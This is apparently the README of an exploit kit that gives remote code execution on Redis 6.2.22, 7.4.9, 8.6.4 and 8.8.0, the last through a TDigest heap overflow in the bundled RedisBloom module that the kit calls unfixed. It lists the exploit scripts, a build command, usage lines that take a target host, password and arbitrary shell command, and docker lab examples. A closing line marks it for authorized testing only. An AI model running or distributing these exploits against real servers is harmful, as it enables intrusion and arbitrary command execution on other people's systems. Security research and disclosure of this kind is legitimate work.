Non-destructive RCE exploits for Redis 6.2.22, 7.4.9, 8.6.4 via the stream consumer-group shared-NACK double free (CVE-2026-25589 incomplete fix family), and for Redis 8.8.0 via a newly found TDigest heap-overflow in the bundled RedisBloom module.
Files
A_exploit_stock.py— exploit for 6.2.22 (redis:6.2.22image)P74_exploit.py(+P74_g2.py) — exploit for 7.4.9 (redis:7.4)P86_exploit.py— exploit for 8.6.4 (redis:8.6)P88W_exploit.py(+P88W_lib.py,P88W_corrupt.py) — exploit for 8.8.0 (redis:8.8.0, via bundled-module TDigest heap overflow)A_lib.py,G2_arbread.py— shared helpers (must sit next to the exploits)crc64.c/h,crcspeed.c/h— sources forlibcrc64.so(Redis CRC64, needed to build validRESTOREpayloads)calibrate.sh— compute binary offsets for non-official buildsP74_loop.sh,P86_run.sh— boot-retry wrappers
Build (one-time)
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Requires: Python 3.6+ (no pip packages), gcc.
Usage
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
password— omit (or pass"") for no-auth targetstrigger— shell command, default writes proof under/data/pwned*
Examples:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
Target requirements
- 6.2.22: official-image offsets by default. For other builds,
override offsets (
--str-format-offetc.; see--help), or run./calibrate.sh /path/to/redis-server [/path/to/libc.so.6]to generate them. Wrong offsets crash the target server (out-of-range reads). - 7.4.9 / 8.6.4 / 8.8.0: stock official images, no debug flag needed.
- Commands available to the user:
EVAL,RESTORE,XGROUP(8.8.0 also needs the bundled RedisBloom module, present by default). - 8.8.0 exploit is layout-sensitive: it sprays tdigests to build a deterministic jemalloc corridor — use a fresh instance with no other clients/commands interleaved.
Notes
- Post-run residue (deliberate, inert): a handful of exploit keys that
keep double-freed chunks alive; see
HARDENING.mdfor details. The 8.8.0 exploit leaves ~2000 zeroed tdigest structs + a corrupted oracle key — do not FLUSHALL/SAVE the target afterwards. - The shared-NACK double free is fixed only in 8.8.0 (PR #15081); the 8.8.0 exploit instead uses a separate, unfixed bundled-module bug.
For authorized testing only.
Comments